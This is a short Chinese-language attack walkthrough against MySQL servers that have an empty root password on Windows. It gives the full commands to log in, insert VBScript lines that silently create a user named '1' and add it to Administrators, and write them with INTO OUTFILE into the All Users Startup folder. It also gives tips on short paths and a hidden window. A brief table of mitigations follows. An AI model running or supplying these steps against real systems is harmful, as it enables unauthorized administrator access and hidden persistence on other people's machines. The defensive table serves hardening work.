目標:MySQL Root 空密碼 + Windows 主機 + 啟動目錄可寫。攻擊鏈:匿名登入 → 建表寫入 VBS 腳本 → INTO OUTFILE 落地啟動目錄 → 等待重啟觸發 → 獲取 Administrator 權限。
mysql -u root -h 192.168.0.1
SHOW DATABASES;
USE test;
SHOW TABLES;
建立單列表 a(cmd TEXT),分三次 INSERT 寫入 VBS 片段:
INSERT INTO a VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO a VALUES ('a = wshShell.Run("cmd.exe /c net user 1 1 /add", 0)');
INSERT INTO a VALUES ('b = wshShell.Run("cmd.exe /c net localgroup Administrators 1 /add", 0)');
0 參數隱藏命令行窗口"" 以適配 SQL 字符串net user 1 1 /add 建立用戶、net localgroup Administrators 1 /add 提權SELECT * FROM a
INTO OUTFILE "c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啟動\\a.vbs";
利用短文件名繞過空格與中文路徑問題。下次管理員登入即自動執行,完成提權。
Run(..., 0) 完全隱藏窗口,無錯誤提示| 環節 | 風險 | 緩解措施 |
|---|---|---|
| Root 空密碼 | 匿名完全控制 | 安裝即執行 mysql_secure_installation,強制複雜密碼 |
| 遠程 Root 登入 | 攻擊面擴大 | bind-address=127.0.0.1 或防火牆限制 3306 來源 IP |
| FILE 權限 | 任意文件寫入 | Web 應用帳號移除 FILE 權限;secure_file_priv 限制導出目錄 |
| 啟動目錄寫入權限 | 持久化落地 | 普通用戶不可寫入 All Users 啟動目錄;啟用 AppLocker/WDAC |
| 服務重啟依賴 | 觸發條件 | 監控關鍵目錄文件變更 (Sysmon/EDR);禁止非計劃重啟 |